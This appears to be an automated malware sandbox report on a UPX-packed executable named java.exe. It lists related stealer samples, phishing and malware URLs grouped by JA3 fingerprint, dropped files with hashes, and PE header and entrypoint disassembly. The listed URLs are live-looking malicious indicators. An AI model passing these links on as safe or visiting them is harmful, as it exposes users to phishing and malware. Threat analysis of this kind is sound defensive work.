	https://tinyurl.com/4zsnub78/SubscribeClick?e7wr=lv4&rrfg3nks=jennifer.m.franklin@instaloan.com&vus2vbx=&d%20and%20two=background%20and%20two%20admirable%20uncles%20skipping%20to%20the%20beat	Get hash	malicious	Unknown	Browse	23.221.212.203
	email.eml.msg	Get hash	malicious	HTMLPhisher	Browse	23.193.120.112
	Invoices.xls	Get hash	malicious	Unknown	Browse	104.94.108.142
	GbLeI2IlqP.exe	Get hash	malicious	LummaC Stealer, RisePro Stealer, SmokeLoader, Vidar	Browse	23.61.62.118
	y67LRMjHeE.exe	Get hash	malicious	LummaC Stealer, SmokeLoader	Browse	23.15.61.162
	FOVz5h7mcN.exe	Get hash	malicious	LummaC Stealer, SmokeLoader	Browse	23.61.62.118
	01b9T4tDdG.exe	Get hash	malicious	Glupteba, LummaC Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	23.194.234.100
	ypIJ3miGfG.exe	Get hash	malicious	LummaC Stealer, RisePro Stealer, SmokeLoader, Vidar	Browse	23.61.62.118
	5bWPu4LQxK.exe	Get hash	malicious	RisePro Stealer, SmokeLoader, Vidar	Browse	23.196.177.43
	file.exe	Get hash	malicious	LummaC Stealer, Petite Virus, RedLine, RisePro Stealer, SmokeLoader, Vidar	Browse	104.94.108.105
	gs0e9zuvJl.exe	Get hash	malicious	RisePro Stealer, SmokeLoader, Vidar	Browse	104.94.108.105
	w2WeaYML3S.exe	Get hash	malicious	SmokeLoader	Browse	23.61.62.118
	K9nM2bWboK.exe	Get hash	malicious	SmokeLoader	Browse	23.61.62.118
	Or0dzqpsOa.exe	Get hash	malicious	RisePro Stealer, SmokeLoader, Vidar	Browse	23.61.62.118

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://pub-58a2defbb13f4b89a485472b5baaef7e.r2.dev/q3223.html	Get hash	malicious	HTMLPhisher	Browse	173.222.162.32
	https://sharepoint-bunteng-auth.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	173.222.162.32
	https://pub-ece886618dfa41788215ebe75499391f.r2.dev/porn.html	Get hash	malicious	HTMLPhisher	Browse	173.222.162.32
	https://uvecajpenis.com/	Get hash	malicious	Unknown	Browse	173.222.162.32
	https://wxgemeng.com/	Get hash	malicious	Unknown	Browse	173.222.162.32
	https://sajfdgelmw3ps4aag3abidzdf2w3etc7y7mw376d3gsl4nrq6yyq.ar-io.dev/kBJRmItltvlwADbAFA8jLq2yTF_H2W3_w9mkvjYw9jE?	Get hash	malicious	HTMLPhisher	Browse	173.222.162.32
	https://bafybeied3ykd6rwigyhlm3tqfluknhi5ypj5tg2lmfoabdrgpb6m5wfyl4.ipfs.w3s.link/officeshare.html	Get hash	malicious	HTMLPhisher	Browse	173.222.162.32
	https://pub-2598caa00dcf4c658bf8753f6761f962.r2.dev/compki.html	Get hash	malicious	HTMLPhisher	Browse	173.222.162.32
	https://index.cr-mufg-bk.is/bkindex/index.php?a8942eb4e6cecd05f8b2d6c58a117d64=a8942eb4e6cecd05f8b2d6c58a117d64	Get hash	malicious	Unknown	Browse	173.222.162.32
	https://assets-usa.mkt.dynamics.com/a9ae1eb8-1498-ee11-be32-000d3a10622c/digitalassets/standaloneforms/dcd2fc21-1b98-ee11-be37-0022482bdf37	Get hash	malicious	Unknown	Browse	173.222.162.32
	https://index.cr-mufj-bk.com/bkindex/index.php?a8942eb4e6cecd05f8b2d6c58a117d64=a8942eb4e6cecd05f8b2d6c58a117d64	Get hash	malicious	Unknown	Browse	173.222.162.32
	https://speckle-sunrise-justice.glitch.me/gerar.shtml	Get hash	malicious	HTMLPhisher	Browse	173.222.162.32
	https://https.secure-links.bloemlight.com/XVEdSV1YycHFWaTl0VFZCQllWaHlOekJNY1UwcmRrWnJjbEpLVUdGVVJEUXlSa3hVTWtRcmFFWTBhRVpIYlZCUFoyNDFTM1ZqY0ZZMVlsbFJTRkZFVERab00zSnZTRGw2YUdKeWMydENObVJWY3pWWEwxRmtaM05HWm5WcVl5dDZRamxGZUVKMWFtSkJSRGhPUVZFNGRsZG5hRXBqUW1ObVpVRmFOekJoUTNkU1VIVmljM05NTUVscVRrNURNMEpUTmxaTGVEVlRSRTlCYW5GRGIyYzBPU3R2V0dOdlMzRlpSMUppVm01TVEwUjNaRzVKZVhGaEswaFZha2hSVFRaSExTMURia1puVVVKWFZtcGtRMXBEUWtFeGFuZFFRbkJuUFQwPS0tZDdiYmVmNzQwNzQ2NTYyNmM0ZDNmMzEwYWYyYTZhOTVhMzU5YTQ1ZQ==?cid=1845890172	Get hash	malicious	Unknown	Browse	173.222.162.32
	http://PASSIONFRUITADS.COM	Get hash	malicious	Unknown	Browse	173.222.162.32
	https://filetransfer.io/data-package/KubGFTCi/download	Get hash	malicious	Unknown	Browse	173.222.162.32
	https://labest.com/hits_banner_redirect.php?cat=55&redirect=http://Pfcu.paidperreview.com/a293ZW5zQHBmY3UuY29t&c=E,1,VE5i5zGOYN5lv7fX89L5vDQFSEjb4eQhCs4iwGW3NkFr3yVsZRj6iOoIyvq-9j3V5qfBQUqL0aLBbmd4GLfdDcPHFy78ScSF-AiaXYjWxSmUGQ,,&typo=1	Get hash	malicious	Unknown	Browse	173.222.162.32
	https://www.google.com/search?q=%22VAC+%26+OFFICIAL+MATCHMAKING%22	Get hash	malicious	Unknown	Browse	173.222.162.32
	https://egfyua-winter-sea-8755.smilingpurple.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	173.222.162.32
	https://locoplayersqamestudio.com	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	173.222.162.32
	https://trk-mkt.tason.com/CheckNew.html?TV9JRD0xNDk4OTAyMjM5OQ==&U1RZUEU9TUFTUw==&RU1BSUxfSUQ9c2toOTk5QGtvbmt1ay5hYy5rcg==&TElTVF9UQUJMRT1FQkFEMTI2MA==&UE9TVF9JRD0yMDIzMTIwODEwMDAxNTg4OTIzOQ==&VEM9MjAyMzEyMjQ=&S0lORD1D&Q0lEPTAyNg==&URL=https://r20.rs6.net/tn.jsp?f=001inaIzPueFoy4blFhj0ANmDQ_3bBZ6-Fd08Z3awxqaucSF5n93F7Gol2J0qoqHefvTr-Cwsu5IQJ4pFZDC7SoMdcHS7k9-SB8FTr3edBn6aZsyO-ruGQyz0QcAv2obC5aj5_XtxB2E3ISw-6PF3ykM7NDGG0ykesIGw4zwFiri5Q=&c=n5B1gTzS7EvGotDE-PFOQ8mqSX8m6wsl-yYcXoHM8CEU57dgwNo9JQ==&ch=BfOUTbW5oz2BVW8gYsMlrL5UyzJ78wlcwBATQA_2-vQiDjKK3MKu6g===&__=/qwer/vVQNx/YW1hbmV6QGFtY25ldHdvcmtzLmNvbQ==	Get hash	malicious	Unknown	Browse	173.222.162.32

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	modified
Size (bytes):	140080
Entropy (8bit):	5.2971950704598365
Encrypted:	false
SSDEEP:	1536:HoA2wL/D3cb61NHUFkjoA2he/DANb61LkUFYZoA2no/DzRb61+2UFg:BVUFJTUFxHUFg
MD5:	37DE0DCE771F31D7431D19BADAA953AF
SHA1:	74A32D922044C182F3A1165A7D20226000218FD2
SHA-256:	102831102F49C6333B8C2F42603D576F4BEFD716ABEC0B2EDB979A2795A71B40
SHA-512:	6996FD6AC246CFD509E67A259AE3674C3460B0B473AB602D2322F30A32ADF2F395BAE23B949CEACA3D9F03A685035F774B1F6A33E0A02F5FD4CC4313BEA1CE35
Malicious:	false
Preview:	........m...e.e5*....0...3..........a.B...........v.,...........................................................................w.5.......^.......G.(.......>..............................................................................IA.,!Y...T...U..%.(P..x_exe_pathc:\users\user\desktop\officesetup.exeeC...@.,....4l..z..==Jy.;..hosteC..I?.,!Y..4l..z..==Jy.;..x_exe_pathc:\users\user\desktop\officesetup.exeeC...>.,......$s.A\.8\|.vP.hosteC..<=.,.A....$s.A\.8\|.vP.packageidmicrosoft.windows.explorereC..@<.,'A....$s.A\.8\|.vP.windows_win32microsoft.windows.explorereC...;.,...C...?O..}-j:..hoste%<N<:.,.A.C...?O..}-j:..packageidmicrosoft.windows.explorere%<N@9.,'A.C...?O..}-j:..windows_win32microsoft.windows.explorere%<N.8.,.....g.,.....3Hs.~ .7.x..C.hoste.e.B.f.,!K...3Hs.~ .7.x..C.x_exe_pathc:\users\user\desktop\java.exee.e.....,....xX.%....^...._.hosteD.$....,..#..xX.%....^...._.packageid{6d809377-6af0-444b-8957-a3773f02200e}\adobe\acrobat dc\acrobat\acrobat.exeeD.$....,'.#..xX

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\XIYR6UZ0\www.bing[1].xml

Download File

Process:	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
File Type:	Unicode text, UTF-8 text, with very long lines (45174), with no line terminators
Category:	dropped
Size (bytes):	45182
Entropy (8bit):	5.035991577415895
Encrypted:	false
SSDEEP:	768:IMZG7xRKm1A1a/Qh/qLPvkc1mYyPdT9SWrRW:ILcrW
MD5:	22C764F89D76C53587BDFDBC0198EB11
SHA1:	39F486577BEC048BD88E6CCD713B8E9D84BCBD78
SHA-256:	9BC0BE07A27207895092CF8D7A6115C7A764AB18F3B696CE588028A8A6DD26B7
SHA-512:	660902CB02C0C63E1EBBD9CF56FEC308E12165F5BBDB87DF62CCEAC9D4FAA0BEBD17175121A736515EC10CA7DB593727BE7EEF7B6DC4D2A1F142968DE9BC3225
Malicious:	false
Preview:	<root><item name="eventLogQueue_Online" value="[]" ltime="3794861725" htime="31076887" /><item name="eventLogQueue_Online_logUploadIntervalStartDate" value="1696333692425" ltime="2102739245" htime="31061487" /><item name="eventLogQueue_Online_uploadedLogSizeInInterval" value="0" ltime="2102740428" htime="31061487" /><item name="mdsb-v" value="8" ltime="2823990064" htime="31061487" /><item name="DSBMomentsCacheKey" value="{"cacheTime":1696333765585,"response":{"SchemaVersion":"1.1","ContentCollection":[{"Date":"20231003","Name":"IOTD: WhitsundaySwirl","Order":1,"IsMainColumnInLeft":true,"Data":[{"CardType":"Hero","UXOrder":1,"Cards":[{"Scenario":"ImageOfTheDay","UXTemplateName":"DescriptiveHoverCard","FieldsStore":{"Title":"Whitehaven Beach, Whitsunday Island, Queen

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{c4e397f5-04d4-450a-abc7-0bb435a74ef7}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	37421
Entropy (8bit):	4.611252091103942
Encrypted:	false
SSDEEP:	768:6UjQxwcuyEZDqRKmJHGHly84yeiEaFHm2iLOOXYcc2jZ:b6y5U5Jkb4yej+vUOOoujZ
MD5:	9BDE56D9C4532F269928C5CE1FF2560D
SHA1:	FB816F6AAF8B7FF7CBB0B521A9D30BAA52CDDB7F
SHA-256:	89DE51E447ED49F7748B3D9C077B97703629575241D5BE61EAB5D4196C6CECAD
SHA-512:	DFB9548743887463AB6161D0972E6BB501BF4576D0CDAF1A7C7EE1E427DF59361BBD128D034AB45B68C8E48CA645022E39C5507A439074B30489E25F390760FF
Malicious:	false
Preview:	0.0....~.....~.....~.....~.....~.....~...~.....~.....~.....~.......~......~.......~.....~.....~.....~.....~......~.....~......~......~.......~.....~......~.....~.......~.......~......~.....~......~.......~.....~......~.....~.....~......~......~.....~......~.....~.............~.......~...md~...alc~..zune~..zord~..znip~..zip help~..zip file manager~..yourphone~..your phone~..yhis pc~..y pc~..y computer~..xxbox~..xox~..xontrol panel~..xonreol~..xnox~..xnipping~..xms~..xmd~..xls:wux:xls~..xhrome~..xcontrol~..xcmd~..xchrome~..xcalc~..xbxox~..xbv~..xbpx~..xboz~..xbox~..xboxx~..xboxc~..xbos~..xbop~..xboox~..xboix~..xboc~..xbob~..xbix~..xbb~..xamera~..xalc~..x86)~..x64)~..x box~..wyc~..wxcwl~..wxcel~..wword~..wsord~..wsnip~..wrord~..wrod~..wrodpad~..wqord~..wprd~..wprdpad~..wpord~..wowrd~..wotrd~..wotd~..wo

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{c4e397f5-04d4-450a-abc7-0bb435a74ef7}\0.1.filtertrie.intermediate.txt

Download File

Process:	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	2.321928094887362
Encrypted:	false
SSDEEP:	3:Dy:W
MD5:	34BD1DFB9F72CF4F86E6DF6DA0A9E49A
SHA1:	5F96D66F33C81C0B10DF2128D3860E3CB7E89563
SHA-256:	8E1E6A3D56796A245D0C7B0849548932FEE803BBDB03F6E289495830E017F14C
SHA-512:	E3787DE7C4BC70CA62234D9A4CDC6BD665BFFA66DEBE3851EE3E8E49E7498B9F1CBC01294BF5E9F75DE13FB78D05879E82FA4B89EE45623FE5BF7AC7E48EDA96
Malicious:	false
Preview:	0.1..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{c4e397f5-04d4-450a-abc7-0bb435a74ef7}\0.2.filtertrie.intermediate.txt

Download File

Process:	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	2.321928094887362
Encrypted:	false
SSDEEP:	3:Ay:Ay
MD5:	C204E9FAAF8565AD333828BEFF2D786E
SHA1:	7D23864F5E2A12C1A5F93B555D2D3E7C8F78EEC1
SHA-256:	D65B6A3BF11A27A1CED1F7E98082246E40CF01289FD47FE4A5ED46C221F2F73F
SHA-512:	E72F4F79A4AE2E5E40A41B322BC0408A6DEC282F90E01E0A8AAEDF9FB9D6F04A60F45A844595727539C1643328E9C1B989B90785271CC30A6550BBDA6B1909F8
Malicious:	false
Preview:	0.2..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{c4e397f5-04d4-450a-abc7-0bb435a74ef7}\Apps.ft

Download File

Process:	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
File Type:	data
Category:	dropped
Size (bytes):	50373
Entropy (8bit):	3.7533011813000954
Encrypted:	false
SSDEEP:	1536:2crkq/9PYdKNAd1d0f41H1Ii0OyAAZXjLdk6nMUisfhteVoVPPP8qoEYhk5+6DC3:2ckq/1YdKNAd1d0f41H1Ii5yAAZXHdep
MD5:	42C6CF763BC1DCEFD79C0E5262E7DFC4
SHA1:	2EAA3A2B1557ED78CA1166EB007608137E52C343
SHA-256:	99205F34B2E4960BE69575908CF5BC9C57A32A240105848EE998E1E79F240707
SHA-512:	73B48317D927329B24F59C164CEA53D0A8AF6456F8CD8F93A285286696626E15B1E2BE286A39310D4772A6263D6AB43710A07392B501324732FADBF8F50DB487
Malicious:	false
Preview:	................h...."cmd"~........A%..aint~.........+r~........A,#A..A0..192~.........2016~........A3.A60A7.A[bAa,.b@..ck..d\|(.e...f'..g..h6..iq..j..AkG.l...m2..n~..o...p...q..Ar_.s...t>..u..Av.w...x...y..AzWB.RA..A.IC..UA......A.c..~........C.LA..C.(I..Cpre..run%~.........fetch%~.........ail~.........stsc~.........cmd~.........run~.........utlook~.........2-bit)~........Id.A ..~.........viewer~.........4-bit)~......... zip~........D-zip.Iz3A ..~........Ffile m..help~.........anager~.........fm~.........ip~........Aa..paint~.........int~.........omt~........CbouMAc.Ad.Ae..kype~........Al..mil~........An.Apa.rJ.As.At.Au..zure~.........t java~.........alc~........DcessS.ess~.........lc~.........md~.........on~.........robat~........G contro..s~.........~........Ol:wux:a.Occess c..ontrol~........Eapter%.b~........Ad"Cmin4Eobe a=Jva.F:wux:a..~.........dapter~........Fress b..~........Oook:wux.O:addres..s book~........E cmd:.Jis.Owux:adm..in cmd~........Otrative.. tools~........

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{c4e397f5-04d4-450a-abc7-0bb435a74ef7}\Apps.index

Download File

Process:	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
File Type:	data
Category:	dropped
Size (bytes):	1126006
Entropy (8bit):	6.147114410359821
Encrypted:	false
SSDEEP:	24576:AoLr7YfoyFxz8GfoLr7YfoyFxz8G21it:AMwf1xz8GfMwf1xz8G2
MD5:	5665CA72FB1FE8FF993E1F56C8EDB387
SHA1:	11C371B293397DEE3289435CC6F797110D5A631B
SHA-256:	263D203F23A1E59D7FECA90148F7ED49333CD1CC607C58B4EEEDC1BF3A84F8C8
SHA-512:	5601C99D230FC811D192E23B4537048A86200532CE5A402749FCF687BBC23DF2E52CC3E8597E79E94A4E7CCF8945C825EA2A7EB93DD9A1F2204F28501E7FDBA1
Malicious:	false
Preview:	Ej..D..WindowsSearch....Apps...name..gscore..lscore...market.spelling.fE.h...K........~<~i..'..uT..r..7.c..l.s..P.x..c.k....p....'..CRa..Qn...a.,[.o2..t.u}.,{f.m.Q..e ;.w.0..l..(.y..P......gy..d.:&.i.;.[..n.b....j.z#.@.E.Q!..Q......N.Q/...`.z.Qh.7.f..+.4.. . ....v..L.8..Q6#.Q\..Qq.B.;.}..0....9...A5...X.Qz.H.7.'..%. .Q3.8.....Q21/...M.Q.kQ-..."""""""jo..&.I.Q+.uQ1j...j.a:..Ab...;b...Q...'.<...#?< ..a_C..b]<3../.<...Ae..t!...u...Qb...n....y._.Qj.{Ql =.p.S..m)o..k...Qo..Qh..Q;7CQi1..w2..Qf.2Qd8h.r....sE...a.<..cZ... \...z."..,me<ume.Q.z5Qxx.av>.Q[@R.24<u 24.ig...At.Qnv.Q .'Qo0xae....yo<uetoDam"...k<ue k.Qs.0ab..=&i<ue i+..j<ue jhQd..Qr..Qc.`&p<ue p...a<ue a.&w<ue w..&f<ue f..&h<ue h...v<ue v.Ql..&.<ube....g<ue g....<uetoet<uet..TUh<uet..&u<ueto..&p<ueto..%y<uet..cr<u...Re<...i<uetoMa<...-o<eto...o(...o(...teret...ute.eute..luetjuey...st ta..s<unes%e<unew..n<ueenfj<u....men+e n...t<uetbs<..X%j<uej...2<ue2M%b<ueb[.%g<ueg...h<ueh.%v<uev1.%c<uec..%p<uep6.%f<uef..j<uo...ue

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133474217072615071.txt (copy)

Download File

Process:	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	114941
Entropy (8bit):	5.179500563537803
Encrypted:	false
SSDEEP:	384:zY/G8/n5LU/gT2/HA/Uc/jq/YI/Zk/Ey/eX/NV/CzS/1o/Yd/e4/YI/y+/jg/ikB:GSzoz5D4x9N/riL1/gY
MD5:	ED10444C46BD13DBDCC387D36132F171
SHA1:	3E2D788FBFE3DD9472AE92F934A944343C9238F2
SHA-256:	2CC2137515CD3446BA3F92772D32D12969204A505AA85054F9514E4820D6A125
SHA-512:	0B938F00A53819C35B60B3F5CD15311D9D64F2A518E439EAB5091EDD492744A6115A97C98376C0254ACC91CE73328A4A2B0669BC6E9C4FFFA3A006EDF82AFBB5
Malicious:	false
Preview:	[{"System.FileExtension":{"Value":".exe","Type":12},"System.Software.ProductVersion":{"Value":"N/A","Type":12},"System.Kind":{"Value":"program","Type":12},"System.ParsingName":{"Value":"308046B0AF4A39CB","Type":12},"System.Software.TimesUsed":{"Value":6,"Type":5},"System.Tile.Background":{"Value":4280291898,"Type":5},"System.AppUserModel.PackageFullName":{"Value":"N/A","Type":12},"System.Identity":{"Value":"N/A","Type":12},"System.FileName":{"Value":"firefox","Type":12},"System.ConnectedSearch.JumpList":{"Value":"[]","Type":12},"System.ConnectedSearch.VoiceCommandExamples":{"Value":"[]","Type":12},"System.ItemType":{"Value":"Desktop","Type":12},"System.DateAccessed":{"Value":1.3340807447259E+17,"Type":14},"System.Tile.EncodedTargetPath":{"Value":"{6D809377-6AF0-444B-8957-A3773F02200E}\\Mozilla Firefox\\firefox.exe","Type":12},"System.Tile.SmallLogoPath":{"Value":"N/A","Type":12},"System.ItemNameDisplay":{"Value":"Firefox","Type":12}},{"System.FileExtension":{"Value":".exe","Type":12},"

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133474217072615071.txt.~tmp

Download File

Process:	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	114941
Entropy (8bit):	5.179500563537803
Encrypted:	false
SSDEEP:	384:zY/G8/n5LU/gT2/HA/Uc/jq/YI/Zk/Ey/eX/NV/CzS/1o/Yd/e4/YI/y+/jg/ikB:GSzoz5D4x9N/riL1/gY
MD5:	ED10444C46BD13DBDCC387D36132F171
SHA1:	3E2D788FBFE3DD9472AE92F934A944343C9238F2
SHA-256:	2CC2137515CD3446BA3F92772D32D12969204A505AA85054F9514E4820D6A125
SHA-512:	0B938F00A53819C35B60B3F5CD15311D9D64F2A518E439EAB5091EDD492744A6115A97C98376C0254ACC91CE73328A4A2B0669BC6E9C4FFFA3A006EDF82AFBB5
Malicious:	false
Preview:	[{"System.FileExtension":{"Value":".exe","Type":12},"System.Software.ProductVersion":{"Value":"N/A","Type":12},"System.Kind":{"Value":"program","Type":12},"System.ParsingName":{"Value":"308046B0AF4A39CB","Type":12},"System.Software.TimesUsed":{"Value":6,"Type":5},"System.Tile.Background":{"Value":4280291898,"Type":5},"System.AppUserModel.PackageFullName":{"Value":"N/A","Type":12},"System.Identity":{"Value":"N/A","Type":12},"System.FileName":{"Value":"firefox","Type":12},"System.ConnectedSearch.JumpList":{"Value":"[]","Type":12},"System.ConnectedSearch.VoiceCommandExamples":{"Value":"[]","Type":12},"System.ItemType":{"Value":"Desktop","Type":12},"System.DateAccessed":{"Value":1.3340807447259E+17,"Type":14},"System.Tile.EncodedTargetPath":{"Value":"{6D809377-6AF0-444B-8957-A3773F02200E}\\Mozilla Firefox\\firefox.exe","Type":12},"System.Tile.SmallLogoPath":{"Value":"N/A","Type":12},"System.ItemNameDisplay":{"Value":"Firefox","Type":12}},{"System.FileExtension":{"Value":".exe","Type":12},"

C:\Users\user\AppData\Roaming\E38A1E29\bin.exe

Download File

Process:	C:\Windows\SysWOW64\winver.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	116224
Entropy (8bit):	5.299499746289874
Encrypted:	false
SSDEEP:	1536:AiLOvRmmQegJfBbmAQ256/ZrwWhwqjhurmKFcbL86WV0E:AiyvRmDLs/ZrwWjjAqGcfzWH
MD5:	CB95EC2B6EF058D45AA18CD146471002
SHA1:	0CB8175F51065046CD77E97C0E494AF09D4590F5
SHA-256:	05B0CFAE079AD7795B4FAACC8687078E4F42470F942E305559BB3DA027CBAD47
SHA-512:	3568358E90C56F13EC150BB0C08F0E2705721D21588AD78D1C38BCA4966009F4B873FE52D6FB001C788245AF0D1C365EDAE69F6DBEC3A326B92A511F0E6715CB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}$...w...w...w..nw...w..~w...w..hw...w...w...w..}w...w..ow...w..kw...wRich...w........PE..L...(..T.............................Z............@.....................................................................................X...........................................................................................................UPX0....................................UPX1................................@....rsrc...............................@....imports............................@...........................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Entropy (8bit):	5.299512539602008
TrID:	Win32 Executable (generic) a (10002005/4) 99.66% UPX compressed Win32 Executable (30571/9) 0.30% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	java.exe
File size:	116'224 bytes
MD5:	0411c0706f66b49aa6bef1528606ee31
SHA1:	bdb8cb7a8aa380138ab9220075bb08b03a5edc28
SHA256:	9e6e9d8eabba4b886fa84170137e3a72c35cc7b360a5cba1a08cbc6b6f468a3c
SHA512:	3602a6a6503c363a1ff0185e3a8e5de51bfb58ebaf72903c141b68ea8d284553a2cd470439aab3af90a5bafec423845b37742a473055f12f0df2c8a0a4c1b53b
SSDEEP:	1536:jiLOvRmmQegJfBbmAQ256/ZrwWhwqjhurmKFcbL86WV0E:jiyvRmDLs/ZrwWjjAqGcfzWH
TLSH:	64B34B62F204E89BE817D8F29919CD3164A37DBC88A0455E32D97F6D58B3AD30859F0F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........}$...w...w...w..nw...w..~w...w..hw...w...w...w..}w...w..ow...w..kw...wRich...w........PE..L......T...........................

File Icon


Icon Hash:	888c8e8eaa868fc6

Static PE Info

General

Entrypoint:	0x405a80
Entrypoint Section:	UPX0
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x549217DD [Wed Dec 17 23:55:09 2014 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	d39aa71a62356d5bd05b3ccf2dfedd9e

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
push ebx
push esi
sub esp, 38h
mov dword ptr [ebp-10h], 00000000h
mov eax, dword ptr [ebp-10h]
mov dword ptr [ebp-2Ch], 00000001h
mov ecx, dword ptr [ebp-2Ch]
mov dword ptr [ebp-20h], 00000000h
mov word ptr [ebp-22h], 2D5Bh
mov edx, dword ptr [ebp-20h]
mov dword ptr [ebp-28h], 00000007h
mov esi, dword ptr [ebp-28h]
mov byte ptr [ebp-2Dh], 00000052h
mov bl, byte ptr [ebp-2Dh]
mov word ptr [ebp-30h], 796Dh
mov byte ptr [ebp-09h], bl
mov eax, dword ptr [ebp+00h]
mov dword ptr [0040DD44h], eax
lea eax, dword ptr [ebp+04h]
mov dword ptr [0040DD48h], eax
mov dword ptr [esp], esi
mov dword ptr [ebp-34h], eax
mov dword ptr [ebp-38h], ecx
mov dword ptr [ebp-3Ch], edx
call 00007F6768E9602Eh
mov ecx, dword ptr [ebp-3Ch]
cmp eax, ecx
je 00007F6768E9646Eh
mov ax, 0000h
mov cx, word ptr [ebp-30h]
mov dx, ax
sub dx, word ptr [ebp-30h]
mov word ptr [ebp-30h], dx
sub ax, word ptr [ebp-30h]
or cx, 1256h
mov word ptr [ebp-30h], cx
mov word ptr [ebp-22h], ax
mov esi, dword ptr [ebp-38h]
mov dword ptr [ebp-14h], esi
jmp 00007F6768E96454h
mov ax, 0000h
mov ecx, dword ptr [ebp-34h]
mov dword ptr [ebp-14h], ecx
sub ax, word ptr [ebp-22h]
mov word ptr [ebp-22h], ax
mov eax, dword ptr [ebp-14h]
mov cx, word ptr [ebp-22h]
and cx, 0673h
mov word ptr [ebp-22h], cx
add esp, 38h
pop esi
pop ebx
pop ebp
ret
add byte ptr [eax], al

Rich Headers

Programming Language:

[ASM] VS2005 build 50727
[ C ] VS2005 build 50727
[IMP] VS2005 build 50727
[C++] VS2005 build 50727
[RES] VS2005 build 50727
[LNK] VS2005 build 50727

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1d000	0x8c	.imports
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1c000	0xd58	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
UPX0	0x1000	0x10000	0xf600	False	0.4557768038617886	DOS executable (COM)	4.895667733918766	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
